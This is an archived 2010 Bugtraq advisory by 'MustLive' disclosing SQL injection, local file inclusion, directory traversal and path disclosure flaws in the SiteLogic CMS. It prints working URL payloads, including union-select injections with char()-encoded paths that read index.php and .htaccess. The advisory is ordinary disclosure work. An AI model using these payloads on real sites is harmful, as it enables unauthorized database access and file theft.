bugtraq - Vulnerabilities in CMS SiteLogic

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <003801cad73c$30e39030$010000c0@ml>
Date: Thu, 8 Apr 2010 19:53:59 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <bugtraq@...urityfocus.com>
Subject: Vulnerabilities in CMS SiteLogic

Hello Bugtraq!

I want to warn you about security vulnerabilities in CMS SiteLogic. It's
Ukrainian commercial CMS.

-----------------------------
Advisory: Vulnerabilities in CMS SiteLogic
-----------------------------
URL: http://websecurity.com.ua/3935/
-----------------------------
Affected products: all versions of CMS SiteLogic.
-----------------------------
Timeline:
28.06.2009 - found vulnerabilities.
09.02.2010 - announced at my site.
10.02.2010 - informed developers.
07.04.2010 - disclosed at my site.
-----------------------------
Details:

These are SQL Injection, Local File Inclusion, Directory Traversal and Full
path disclosure vulnerabilities.

SQL Injection:

http://site/?fun=-1%20or%20version()%3E4

Local File Inclusion (via SQL Injection):

http://site/?fun=-1%20union%20select%201,0,char(46,46,47,105,110,100,101,120,46,112,104,112),1

Including of index.php.

Directory Traversal (via SQL Injection):

http://site/?fun=-1%20union%20select%201,0,char(46,46,47,46,104,116,97,99,99,101,115,115),1

Including of .htaccess.

Full path disclosure:

http://site/?fun=-1

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua